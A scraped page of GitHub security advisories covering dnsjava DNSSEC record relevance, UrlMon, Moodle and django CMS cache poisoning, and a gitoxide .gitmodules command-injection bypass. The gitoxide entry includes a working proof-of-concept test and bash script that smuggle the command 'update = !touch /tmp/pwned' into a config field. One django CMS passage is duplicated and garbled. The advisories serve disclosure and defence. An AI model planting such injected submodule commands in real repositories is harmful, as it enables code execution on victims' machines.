"details": "### Summary\n\nRecords in DNS replies are not checked for their relevance to the query, allowing an attacker to respond with RRs from different zones.\n\n### Details\n\nDNS Messages are not authenticated. They do not guarantee that\n\n- received RRs are authentic\n- not received RRs do not exist\n- all or any received records in a response relate to the request\n\nApplications utilizing DNSSEC generally expect these guarantees to be met, however DNSSEC by itself only guarantees the first two.\nTo meet the third guarantee, resolvers generally follow an (undocumented, as far as RFCs go) algorithm such as: (simplified, e.g. lacks DNSSEC validation!)\n\n1. denote by `QNAME` the name you are querying (e.g. fraunhofer.de.), and initialize a list of aliases\n2. if the ANSWER section contains a valid PTR RRSet for `QNAME`, return it (and optionally return the list of aliases as well)\n3. if the ANSWER section contains a valid CNAME RRSet for `QNAME`, add it to the list of aliases. Set `QNAME` to the CNAME\u0027s target and go to 2.\n4. Verify that `QNAME` does not have any PTR, CNAME and DNAME records using valid NSEC or NSEC3 records. Return `null`.\n\nNote that this algorithm relies on NSEC records and thus requires a considerable portion of the DNSSEC specifications to be implemented. For this reason, it cannot be performed by a DNS client (aka application) and is typically performed as part of the resolver logic.\n\ndnsjava does not implement a comparable algorithm, and the provided APIs instead return either\n\n- the received DNS message itself (e.g. when using a ValidatingResolver such as in [this](https://github.com/dnsjava/dnsjava/blob/master/EXAMPLES.md#dnssec-resolver) example), or\n- essentially just the contents of its ANSWER section (e.g. when using a LookupSession such as in [this](https://github.com/dnsjava/dnsjava/blob/master/EXAMPLES.md#simple-lookup-with-a-resolver) example)\n\nIf applications blindly filter the received results for RRs of the desired record type (as seems to be typical usage for dnsjava), a rogue recursive resolver or (on UDP/TCP connections) a network attacker can\n\n- In addition to the actual DNS response, add RRs irrelevant to the query but of the right datatype, e.g. from another zone, as long as that zone is correctly using DNSSEC, or\n- completely exchange the relevant response records\n\n### Impact\n\nDNS(SEC) libraries are usually used as part of a larger security framework.\nTherefore, the main misuses of this vulnerability concern application code, which might take the returned records as authentic answers to the request.\nHere are three concrete examples of where this might be detrimental:\n\n- [RFC 6186](https://datatracker.ietf.org/doc/html/rfc6186) specifies that to connect to an IMAP server for a user, a mail user agent should retrieve certain SRV records and send the user\u0027s credentials to the specified servers. Exchanging the SRV records can be a tool to redirect the credentials.\n- When delivering mail via SMTP, MX records determine where to deliver the mails to. Exchanging the MX records might lead to information disclosure. Additionally, an exchange of TLSA records might allow attackers to intercept TLS traffic.\n- Some research projects like [LIGHTest](https://www.lightest.eu/) are trying to manage CA trust stores via URI and SMIMEA records in the DNS. Exchanging these allows manipulating the root of trust for dependent applications.\n\n### Mitigations\n\nAt this point, the following mitigations are recommended:\n\n- When using a ValidatingResolver, ignore any Server indications of whether or not data was available (e.g. NXDOMAIN, NODATA, ...).\n- For APIs returning RRs from DNS responses, filter the RRs using an algorithm such as the one above. This includes e.g. `LookupSession.lookupAsync`.\n- Remove APIs dealing with raw DNS messages from the examples section or place a noticable warning above.",
"id": "GHSA-cfxw-4h78-h7fw",
"modified": "2024-09-04T14:24:15Z",
"published": "2024-07-22T14:33:41Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/dnsjava/dnsjava/security/advisories/GHSA-cfxw-4h78-h7fw"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-25638"
},
{
"type": "WEB",
"url": "https://github.com/dnsjava/dnsjava/commit/2073a0cdea2c560465f7ac0cc56f202e6fc39705"
},
{
"type": "PACKAGE",
"url": "https://github.com/dnsjava/dnsjava"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:L",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:L",
"type": "CVSS_V4"
}
],
"summary": "DNSJava DNSSEC Bypass"
}
GHSA-CQ8M-2X25-MGG8
Vulnerability from github – Published: 2025-05-13 18:30 – Updated: 2025-05-13 18:30
VLAI
Details
Acceptance of extraneous untrusted data with trusted data in UrlMon allows an unauthorized attacker to bypass a security feature over a network.
Severity
7.5 (High)
{
"affected": [],
"aliases": [
"CVE-2025-29842"
],
"database_specific": {
"cwe_ids": [
"CWE-345",
"CWE-349"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-05-13T17:15:55Z",
"severity": "HIGH"
},
"details": "Acceptance of extraneous untrusted data with trusted data in UrlMon allows an unauthorized attacker to bypass a security feature over a network.",
"id": "GHSA-cq8m-2x25-mgg8",
"modified": "2025-05-13T18:30:54Z",
"published": "2025-05-13T18:30:54Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-29842"
},
{
"type": "WEB",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-29842"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-CWH2-Q44X-5W3C
Vulnerability from github – Published: 2023-11-09 21:30 – Updated: 2023-11-17 21:59
VLAI
Summary
Moodle Acceptance of Extraneous Untrusted Data With Trusted Data vulnerability
Details
Stronger revision number limitations were required on file serving endpoints to improve cache poisoning protection.
Severity
5.3 (Medium)
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "moodle/moodle"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.3.0-rc2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2023-5548"
],
"database_specific": {
"cwe_ids": [
"CWE-345",
"CWE-349"
],
"github_reviewed": true,
"github_reviewed_at": "2023-11-10T00:42:08Z",
"nvd_published_at": "2023-11-09T20:15:10Z",
"severity": "MODERATE"
},
"details": "Stronger revision number limitations were required on file serving endpoints to improve cache poisoning protection.",
"id": "GHSA-cwh2-q44x-5w3c",
"modified": "2023-11-17T21:59:36Z",
"published": "2023-11-09T21:30:39Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-5548"
},
{
"type": "WEB",
"url": "https://github.com/moodle/moodle/commit/7679452caff6faa33f00d3f0589c5190bc01a933"
},
{
"type": "WEB",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2243449"
},
{
"type": "PACKAGE",
"url": "https://github.com/moodle/moodle"
},
{
"type": "WEB",
"url": "https://moodle.org/mod/forum/discuss.php?d=451589"
},
{
"type": "WEB",
"url": "http://git.moodle.org/gw?p=moodle.git\u0026a=search\u0026h=HEAD\u0026st=commit\u0026s=MDL-77846"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "Moodle Acceptance of Extraneous Untrusted Data With Trusted Data vulnerability"
}
GHSA-F26G-JM89-4G65
Vulnerability from github – Published: 2026-05-05 19:23 – Updated: 2026-06-30 17:41
VLAI
Summary
gitoxide: CommandForbiddenInModulesConfiguration Bypass in gix_submodule::File::update() Enables Arbitrary Command Execution via .gitmodules
Details
Summary
gix_submodule::File::update() is the API that gates whether an attacker-supplied .gitmodules file may set update = !<shell command>. The function is designed to return Err(CommandForbiddenInModulesConfiguration) unless the !command value came from a trusted local source (.git/config). Git CVE CVE-2019-19604 illustrates why this check is necessary.
However, the guard is implemented incorrectly: it checks whether any section with the same submodule name exists from a non-.gitmodules source; it does not verify that the update value came from that section.
Once a submodule has been initialized (any workflow that writes submodule.<name>.url to .git/config), and the attacker subsequently adds update = !cmd to .gitmodules, the guard passes while the command value falls through to the attacker-controlled file.
On an identical repository state, git submodule update aborts with fatal: invalid value for 'submodule.sub.update', while gix::Submodule::update() returns Ok(Some(Update::Command("touch /tmp/pwned"))).
The vulnerable code was introduced in https://github.com/GitoxideLabs/gitoxide/commit/6a2e6a436f76c8bbf2487f9967413a51356667a0.
Details
The vulnerable method is gix_submodule::File::update: https://github.com/GitoxideLabs/gitoxide/blob/main/gix-submodule/src/access.rs#L168-L193:
pub fn update(&self, name: &BStr) -> Result<Option<Update>, config::update::Error> {
let value: Update = match self.config.string(format!("submodule.{name}.update")) {
// ^^^^^^^^^^^^^^^^^^
// [A] Reads the value. gix_config::File::string() iterates sections
// newest-to-oldest; if the override section lacks `update`, it
// falls through to .gitmodules and returns the attacker value.
//
// https://github.com/GitoxideLabs/gitoxide/blob/main/gix-config/src/file/access/raw.rs#L76
Some(v) => v.as_ref().try_into().map_err(|()| config::update::Error::Invalid {
submodule: name.to_owned(),
actual: v.into_owned(),
})?,
None => return Ok(None),
};
if let Update::Command(cmd) = &value {
let ours = self.config.meta();
let has_value_from_foreign_section = self
.config
.sections_by_name("submodule")
.into_iter()
.flatten()
.any(|s| s.header().subsection_name() == Some(name) && !std::ptr::eq(s.meta(), ours));
// ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
// [B] Checks only that SOME section with this name exists from a
// non-.gitmodules source. Does NOT check where [A]'s value
// came from.
if !has_value_from_foreign_section {
return Err(config::update::Error::CommandForbiddenInModulesConfiguration { ... });
}
}
Ok(Some(value))
}
PoC
git submodule init copies submodule.$name.url and writes active = true into .git/config (init_submodule(), builtin/submodule--helper.c:438-517). It does not unconditionally copy update.
Since CVE-2019-19604, git rejects .gitmodules files that contain update = !cmd at parse time. However, init is a one-time operation - once the .git/config section exists, subsequent changes to .gitmodules are not re-inited.
So, the attack sequence is:
- Attacker's repo ships a benign
.gitmodules(noupdatekey). - Victim clones and runs
git submodule init->.git/configcontains:ini [submodule "sub"] active = true url = /tmp/sub-origin - Attacker pushes a new commit adding
update = !cmdto.gitmodules. - Victim runs
git pull->.gitmodulesnow contains:ini [submodule "sub"] path = sub url = /tmp/sub-origin update = !touch /tmp/pwnedwhile.git/configis unchanged.
This is the precise state that bypasses gitoxide's guard:
- The .git/config entry - even though it contains only url and active - causes append_submodule_overrides to create an override section. That section has foreign (non-.gitmodules) metadata, so the existence check at [B] returns true and the guard is disarmed.
- However, because that override section has no update key, the value lookup at [A] skips past it and falls through to the .gitmodules section, returning the attacker's !touch /tmp/pwned.
The bug is the mismatch between what [A] and [B] actually inspect: [A] asks "which section provides the update value?" (answer: .gitmodules), while [B] asks "does any trusted section exist for this submodule?" (answer: yes). A correct guard would ask the same question as [A].
Git itself would refuse to operate on this repository at the next git submodule update. The vulnerability is in gitoxide-based consumers that call Submodule::update() and trust its output.
Option 1: Unit test (verified - passes, confirming the bug)
Drop into gix-submodule/tests/file/mod.rs inside mod update:
#[test]
fn security_bypass_via_partial_override() {
use std::str::FromStr;
// Attacker-controlled .gitmodules
let gitmodules =
"[submodule.a]\n url = https://example.com/a\n update = !touch /tmp/pwned";
// Post-`git submodule init` state: only `url` copied to .git/config
let repo_config =
gix_config::File::from_str("[submodule.a]\n url = https://example.com/a").unwrap();
let module =
gix_submodule::File::from_bytes(gitmodules.as_bytes(), None, &repo_config).unwrap();
let result = module.update("a".into());
// VULNERABLE: prints `Ok(Some(Command("touch /tmp/pwned")))`
// SECURE: should be `Err(CommandForbiddenInModulesConfiguration { .. })`
eprintln!("{:?}", result);
}
$ cargo test -p gix-submodule security_bypass -- --nocapture
running 1 test
bypass result: Ok(Some(Command("touch /tmp/pwned")))
test file::update::security_bypass_via_partial_override ... ok
Option 2: End-to-end - git refuses, gitoxide accepts
Verified with git 2.51.2 and gix @ dd5c18d9e.
#!/bin/bash
set -e
cd /tmp
rm -rf evil-repo victim sub-origin 2>/dev/null || true
# --- Setup ---
mkdir sub-origin && cd sub-origin
git init -q && git commit -q --allow-empty -m init
cd /tmp
# --- [1] Attacker creates repo with BENIGN submodule ---
mkdir evil-repo && cd evil-repo
git init -q
git -c protocol.file.allow=always submodule add /tmp/sub-origin sub
git commit -q -m "add submodule (benign)"
cd /tmp
# --- [2] Victim clones and inits (passes git's .gitmodules validation) ---
git -c protocol.file.allow=always clone -q /tmp/evil-repo victim
cd victim
git submodule init
# .git/config now has: [submodule "sub"] active=true, url=..., NO update key
cd /tmp
# --- [3] Attacker adds malicious update to .gitmodules ---
cd evil-repo
cat >> .gitmodules <<'EOF'
update = !touch /tmp/pwned
EOF
git commit -q -am "add malicious update"
cd /tmp
# --- [4] Victim pulls ---
cd victim
git pull -q
Final state:
--- .gitmodules:
[submodule "sub"]
path = sub
url = /tmp/sub-origin
update = !touch /tmp/pwned
--- .git/config (submodule section):
[submodule "sub"]
active = true
url = /tmp/sub-origin
Upstream git on this state:
$ cd /tmp/victim && git submodule update
fatal: invalid value for 'submodule.sub.update'
$ echo $?
128
$ test -f /tmp/pwned && echo VULNERABLE || echo SAFE
SAFE
Gitoxide on the same state:
// /tmp/gix-repro/main.rs
let repo = gix::open("/tmp/victim")?;
for sm in repo.submodules()?.expect("submodules present") {
println!("{}: {:?}", sm.name(), sm.update());
}
$ cargo run
sub: Ok(Some(Command("touch /tmp/pwned")))
The CommandForbiddenInModulesConfiguration guard never fires.
Impact
Direct
Any downstream code built on gix that:
1. Calls Submodule::update() to determine the update strategy, and
2. Trusts that Update::Command(_) is safe to execute (because CommandForbiddenInModulesConfiguration exists as the documented guard)
…will execute attacker-controlled shell commands on submodule update against a previously-initialized submodule.
gix itself does not currently ship a submodule update implementation, so there is no RCE in the gix CLI today. However:
- The
Submodule::update()API is public atgix/src/submodule/mod.rs:108and delegates directly to the vulnerable function. - The error variant name (
CommandForbiddenInModulesConfiguration) and test suite (valid_in_overridesatgix-submodule/tests/file/mod.rs:272) explicitly document this as the security boundary. - Any third-party tool, IDE plugin, or CI integration building submodule-update on top of
gixinherits this vulnerability.
Indirect / second-order
- CI/forge integrations that auto-init submodules and then query the update mode
- Editor/IDE extensions using
gixfor submodule info - Gitoxide-based
initequivalents - any tool that implements its own init (writingurlto local config) creates the bypass state without needing the pull-after-init sequence
Severity
{
"affected": [
{
"package": {
"ecosystem": "crates.io",
"name": "gix"
},
"ranges": [
{
"events": [
{
"introduced": "0.31.0"
},
{
"fixed": "0.83.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-40034"
],
"database_specific": {
"cwe_ids": [
"CWE-183",
"CWE-349",
"CWE-501",
"CWE-77"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-05T19:23:45Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Summary\n\n[`gix_submodule::File::update()`](https://github.com/GitoxideLabs/gitoxide/blob/main/gix-submodule/src/access.rs#L168) is the API that gates whether an attacker-supplied `.gitmodules` file may set `update = !\u003cshell command\u003e`. The function is designed to return `Err(CommandForbiddenInModulesConfiguration)` unless the `!command` value came from a trusted local source (`.git/config`). Git CVE [CVE-2019-19604](https://nvd.nist.gov/vuln/detail/cve-2019-19604) illustrates why this check is necessary.\n\nHowever, the guard is implemented incorrectly: it checks whether any section with the same submodule name exists from a non-`.gitmodules` source; it does not verify that the `update` value came from that section.\n\nOnce a submodule has been initialized (any workflow that writes `submodule.\u003cname\u003e.url` to `.git/config`), and the attacker subsequently adds `update = !cmd` to `.gitmodules`, the guard passes while the command value falls through to the attacker-controlled file.\n\nOn an identical repository state, `git submodule update` aborts with `fatal: invalid value for \u0027submodule.sub.update\u0027`, while `gix::Submodule::update()` returns `Ok(Some(Update::Command(\"touch /tmp/pwned\")))`.\n\nThe vulnerable code was introduced in https://github.com/GitoxideLabs/gitoxide/commit/6a2e6a436f76c8bbf2487f9967413a51356667a0.\n\n### Details\n\nThe vulnerable method is `gix_submodule::File::update`: https://github.com/GitoxideLabs/gitoxide/blob/main/gix-submodule/src/access.rs#L168-L193:\n\n```rust\npub fn update(\u0026self, name: \u0026BStr) -\u003e Result\u003cOption\u003cUpdate\u003e, config::update::Error\u003e {\n let value: Update = match self.config.string(format!(\"submodule.{name}.update\")) {\n // ^^^^^^^^^^^^^^^^^^\n // [A] Reads the value. gix_config::File::string() iterates sections\n // newest-to-oldest; if the override section lacks `update`, it\n // falls through to .gitmodules and returns the attacker value.\n //\n // https://github.com/GitoxideLabs/gitoxide/blob/main/gix-config/src/file/access/raw.rs#L76\n Some(v) =\u003e v.as_ref().try_into().map_err(|()| config::update::Error::Invalid {\n submodule: name.to_owned(),\n actual: v.into_owned(),\n })?,\n None =\u003e return Ok(None),\n };\n\n if let Update::Command(cmd) = \u0026value {\n let ours = self.config.meta();\n let has_value_from_foreign_section = self\n .config\n .sections_by_name(\"submodule\")\n .into_iter()\n .flatten()\n .any(|s| s.header().subsection_name() == Some(name) \u0026\u0026 !std::ptr::eq(s.meta(), ours));\n // ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n // [B] Checks only that SOME section with this name exists from a\n // non-.gitmodules source. Does NOT check where [A]\u0027s value\n // came from.\n if !has_value_from_foreign_section {\n return Err(config::update::Error::CommandForbiddenInModulesConfiguration { ... });\n }\n }\n Ok(Some(value))\n}\n```\n\n### PoC\n\n`git submodule init` copies `submodule.$name.url` and writes `active = true` into `.git/config` ([`init_submodule()`, builtin/submodule--helper.c:438-517](https://github.com/git/git/blob/v2.53.0/builtin/submodule--helper.c#L438-L517)). It does not unconditionally copy `update`.\n\nSince CVE-2019-19604, `git` rejects `.gitmodules` files that contain `update = !cmd` at parse time. However, `init` is a one-time operation - once the `.git/config` section exists, subsequent changes to `.gitmodules` are not re-inited.\n\nSo, the attack sequence is:\n\n1. Attacker\u0027s repo ships a benign `.gitmodules` (no `update` key).\n2. Victim clones and runs `git submodule init` -\u003e `.git/config` contains:\n ```ini\n [submodule \"sub\"]\n active = true\n url = /tmp/sub-origin\n ```\n3. Attacker pushes a new commit adding `update = !cmd` to `.gitmodules`.\n4. Victim runs `git pull` -\u003e `.gitmodules` now contains:\n ```ini\n [submodule \"sub\"]\n path = sub\n url = /tmp/sub-origin\n update = !touch /tmp/pwned\n ```\n while `.git/config` is unchanged.\n\nThis is the precise state that bypasses gitoxide\u0027s guard:\n- The .git/config entry - even though it contains only url and active - causes [`append_submodule_overrides`](https://github.com/GitoxideLabs/gitoxide/blob/dd5c18d9e526e8de462fa40aa047acd097cfa7dc/gix-submodule/src/lib.rs#L41) to create an override section. That section has foreign (non-.gitmodules) metadata, so the existence check at [B] returns true and the guard is disarmed.\n- However, because that override section has no update key, the value lookup at [A] skips past it and falls through to the .gitmodules section, returning the attacker\u0027s !touch /tmp/pwned.\n\nThe bug is the mismatch between what [A] and [B] actually inspect: [A] asks \"which section provides the update value?\" (answer: .gitmodules), while [B] asks \"does any trusted section exist for this submodule?\" (answer: yes). A correct guard would ask the same question as [A].\n\nGit itself would refuse to operate on this repository at the next `git submodule update`. The vulnerability is in gitoxide-based consumers that call `Submodule::update()` and trust its output.\n\n### Option 1: Unit test (verified - passes, confirming the bug)\n\nDrop into `gix-submodule/tests/file/mod.rs` inside `mod update`:\n\n```rust\n#[test]\nfn security_bypass_via_partial_override() {\n use std::str::FromStr;\n\n // Attacker-controlled .gitmodules\n let gitmodules =\n \"[submodule.a]\\n url = https://example.com/a\\n update = !touch /tmp/pwned\";\n\n // Post-`git submodule init` state: only `url` copied to .git/config\n let repo_config =\n gix_config::File::from_str(\"[submodule.a]\\n url = https://example.com/a\").unwrap();\n\n let module =\n gix_submodule::File::from_bytes(gitmodules.as_bytes(), None, \u0026repo_config).unwrap();\n\n let result = module.update(\"a\".into());\n // VULNERABLE: prints `Ok(Some(Command(\"touch /tmp/pwned\")))`\n // SECURE: should be `Err(CommandForbiddenInModulesConfiguration { .. })`\n eprintln!(\"{:?}\", result);\n}\n```\n\n```console\n$ cargo test -p gix-submodule security_bypass -- --nocapture\nrunning 1 test\nbypass result: Ok(Some(Command(\"touch /tmp/pwned\")))\ntest file::update::security_bypass_via_partial_override ... ok\n```\n\n### Option 2: End-to-end - git refuses, gitoxide accepts\n\nVerified with **git 2.51.2** and **gix @ `dd5c18d9e`**.\n\n```bash\n#!/bin/bash\nset -e\ncd /tmp\nrm -rf evil-repo victim sub-origin 2\u003e/dev/null || true\n\n# --- Setup ---\nmkdir sub-origin \u0026\u0026 cd sub-origin\ngit init -q \u0026\u0026 git commit -q --allow-empty -m init\ncd /tmp\n\n# --- [1] Attacker creates repo with BENIGN submodule ---\nmkdir evil-repo \u0026\u0026 cd evil-repo\ngit init -q\ngit -c protocol.file.allow=always submodule add /tmp/sub-origin sub\ngit commit -q -m \"add submodule (benign)\"\ncd /tmp\n\n# --- [2] Victim clones and inits (passes git\u0027s .gitmodules validation) ---\ngit -c protocol.file.allow=always clone -q /tmp/evil-repo victim\ncd victim\ngit submodule init\n# .git/config now has: [submodule \"sub\"] active=true, url=..., NO update key\ncd /tmp\n\n# --- [3] Attacker adds malicious update to .gitmodules ---\ncd evil-repo\ncat \u003e\u003e .gitmodules \u003c\u003c\u0027EOF\u0027\n\tupdate = !touch /tmp/pwned\nEOF\ngit commit -q -am \"add malicious update\"\ncd /tmp\n\n# --- [4] Victim pulls ---\ncd victim\ngit pull -q\n```\n\nFinal state:\n```\n--- .gitmodules:\n[submodule \"sub\"]\n path = sub\n url = /tmp/sub-origin\n update = !touch /tmp/pwned\n--- .git/config (submodule section):\n[submodule \"sub\"]\n active = true\n url = /tmp/sub-origin\n```\n\n**Upstream git on this state:**\n```console\n$ cd /tmp/victim \u0026\u0026 git submodule update\nfatal: invalid value for \u0027submodule.sub.update\u0027\n$ echo $?\n128\n$ test -f /tmp/pwned \u0026\u0026 echo VULNERABLE || echo SAFE\nSAFE\n```\n\n**Gitoxide on the same state:**\n```rust\n// /tmp/gix-repro/main.rs\nlet repo = gix::open(\"/tmp/victim\")?;\nfor sm in repo.submodules()?.expect(\"submodules present\") {\n println!(\"{}: {:?}\", sm.name(), sm.update());\n}\n```\n```console\n$ cargo run\nsub: Ok(Some(Command(\"touch /tmp/pwned\")))\n```\n\nThe `CommandForbiddenInModulesConfiguration` guard never fires.\n\n### Impact\n\n### Direct\n\nAny downstream code built on `gix` that:\n1. Calls `Submodule::update()` to determine the update strategy, and\n2. Trusts that `Update::Command(_)` is safe to execute (because `CommandForbiddenInModulesConfiguration` exists as the documented guard)\n\n\u2026will execute attacker-controlled shell commands on `submodule update` against a previously-initialized submodule.\n\n`gix` itself does not currently ship a `submodule update` implementation, so there is no RCE in the `gix` CLI today. However:\n\n- The `Submodule::update()` API is public at `gix/src/submodule/mod.rs:108` and delegates directly to the vulnerable function.\n- The error variant name (`CommandForbiddenInModulesConfiguration`) and test suite (`valid_in_overrides` at `gix-submodule/tests/file/mod.rs:272`) explicitly document this as the security boundary.\n- Any third-party tool, IDE plugin, or CI integration building submodule-update on top of `gix` inherits this vulnerability.\n\n### Indirect / second-order\n\n- CI/forge integrations that auto-init submodules and then query the update mode\n- Editor/IDE extensions using `gix` for submodule info\n- Gitoxide-based `init` equivalents - any tool that implements its own init (writing `url` to local config) creates the bypass state without needing the pull-after-init sequence",
"id": "GHSA-f26g-jm89-4g65",
"modified": "2026-06-30T17:41:01Z",
"published": "2026-05-05T19:23:45Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/GitoxideLabs/gitoxide/security/advisories/GHSA-f26g-jm89-4g65"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-40034"
},
{
"type": "WEB",
"url": "https://github.com/GitoxideLabs/gitoxide/commit/6a2e6a436f76c8bbf2487f9967413a51356667a0"
},
{
"type": "WEB",
"url": "https://github.com/GitoxideLabs/gitoxide/commit/dd5c18d9e526e8de462fa40aa047acd097cfa7dc"
},
{
"type": "PACKAGE",
"url": "https://github.com/GitoxideLabs/gitoxide"
},
{
"type": "WEB",
"url": "https://red.anthropic.com/2026/cvd/findings/ANT-2026-6SNS6KMP"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/gitoxide-command-injection-via-partial-gitmodules-override-in-gix-submodule"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "gitoxide: CommandForbiddenInModulesConfiguration Bypass in gix_submodule::File::update() Enables Arbitrary Command Execution via .gitmodules"
}
GHSA-FWJF-M4QW-9F2X
Vulnerability from github – Published: 2026-08-24 20:09 – Updated: 2026-08-24 20:09
VLAI
Summary
django CMS: Page cache ignores plugin-declared Vary headers (disclosure & poisoning)
Details
Summary
The CMS page cache key ignores the request headers that plugins declare via get_vary_cache_on(). The header is added to the response Vary header, but the CMS's own cache key does not incorporate the header values, so the first visitor's variant is served to all subsequent visitors regardless of their header values.
Details
_page_cache_key (in cms/cache/page.py) keys only on cache prefix, site, language, path and timezone. set_page_cache collects the plugin-declared vary headers and calls patch_vary_headers(response, ...) (affecting only the emitted Vary header), but stores and retrieves the cached page under the header-agnostic key. get_page_cache therefore returns whichever variant was cached first.
Impact
- Information disclosure: when a plugin varies its output on a request header (e.g.
Country-Code), the variant rendered for the first anonymous visitor is served to everyone until the entry expires, leaking request-specific content across users. - Cache poisoning: an unauthenticated attacker can prime the anonymous page cache with content rendered from attacker-chosen header values, which is then served to subsequent visitors.
Applies only when CMS_PAGE_CACHE is enabled and at least one plugin implements get_vary_cache_on().
Patches
Fixed in 5.0.8: the page cache now folds the request's values implements get_vary_cache_on().
Patches
Fixed in 5.0.8: the page cache now folds the request's values for plugin-declared vary headers into the content key. The set of vary headers is persisted on write and looked up first on read (mirroring Django's learn_cache_key/get_cache_key); a missing header-list entry degrades to a cache miss, never a wrong-variant hit.
Workarounds
Disable CMS_PAGE_CACHE, or avoid plugins that rely on get_vary_cache_on(), until upgraded.
Credits
Reported by the security team at the University of Sydney ([@reporter]).
Severity
4.8 (Medium)
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "django-cms"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "5.0.8"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-54625"
],
"database_specific": {
"cwe_ids": [
"CWE-349",
"CWE-524"
],
"github_reviewed": true,
"github_reviewed_at": "2026-08-24T20:09:51Z",
"nvd_published_at": "2026-08-20T18:16:28Z",
"severity": "MODERATE"
},
"details": "### Summary\nThe CMS page cache key ignores the request headers that plugins declare via `get_vary_cache_on()`. The header is added to the response `Vary` header, but the CMS\u0027s own cache key does not incorporate the header values, so the first visitor\u0027s variant is served to all subsequent visitors regardless of their header values.\n\n### Details\n`_page_cache_key` (in `cms/cache/page.py`) keys only on cache prefix, site, language, path and timezone. `set_page_cache` collects the plugin-declared vary headers and calls `patch_vary_headers(response, ...)` (affecting only the emitted `Vary` header), but stores and retrieves the cached page under the header-agnostic key. `get_page_cache` therefore returns whichever variant was cached first.\n\n### Impact\n- **Information disclosure:** when a plugin varies its output on a request header (e.g. `Country-Code`), the variant rendered for the first anonymous visitor is served to everyone until the entry expires, leaking request-specific content across users.\n- **Cache poisoning:** an unauthenticated attacker can prime the anonymous page cache with content rendered from attacker-chosen header values, which is then served to subsequent visitors.\n\nApplies only when `CMS_PAGE_CACHE` is enabled and at least one plugin implements `get_vary_cache_on()`.\n\n### Patches\nFixed in 5.0.8: the page cache now folds the request\u0027s values implements `get_vary_cache_on()`.\n\n### Patches\nFixed in 5.0.8: the page cache now folds the request\u0027s values for plugin-declared vary headers into the content key. The set of vary headers is persisted on write and looked up first on read (mirroring Django\u0027s `learn_cache_key`/`get_cache_key`); a missing header-list entry degrades to a cache miss, never a wrong-variant hit.\n\n### Workarounds\nDisable `CMS_PAGE_CACHE`, or avoid plugins that rely on `get_vary_cache_on()`, until upgraded.\n\n### Credits\nReported by the security team at the University of Sydney ([@reporter]).",
"id": "GHSA-fwjf-m4qw-9f2x",
"modified": "2026-08-24T20:09:52Z",
"published": "2026-08-24T20:09:51Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/django-cms/django-cms/security/advisories/GHSA-fwjf-m4qw-9f2x"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-54625"
},
{
"type": "WEB",
"url": "https://github.com/django-cms/django-cms/pull/8646"
},
{
"type": "WEB",
"url": "https://github.com/django-cms/django-cms/pull/8647"
},
{
"type": "WEB",
"url": "https://github.com/django-cms/django-cms/commit/8758714b865ffa79c6bcd0e5c503958ea48885aa"
},
{
"type": "WEB",
"url": "https://github.com/django-cms/django-cms/commit/d5dc1efa18d157445491c4b12c2dd1efd56f439f"
},
{
"type": "PACKAGE",
"url": "https://github.com/django-cms/django-cms"
},
{
"type": "WEB",
"url": "https://github.com/django-cms/django-cms/releases/tag/5.0.8"
},
{
"type": "WEB",
"url": "https://github.com/django-cms/django-cms/releases/tag/5.1.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "django CMS: Page cache ignores plugin-declared Vary headers (disclosure \u0026 poisoning)"
}
GHSA-G3WM-F7GR-3FWH
Vulnerability from github – Published: 2024-04-17 00:30 – Updated: 2024-04-26 09:30
VLAI
Details
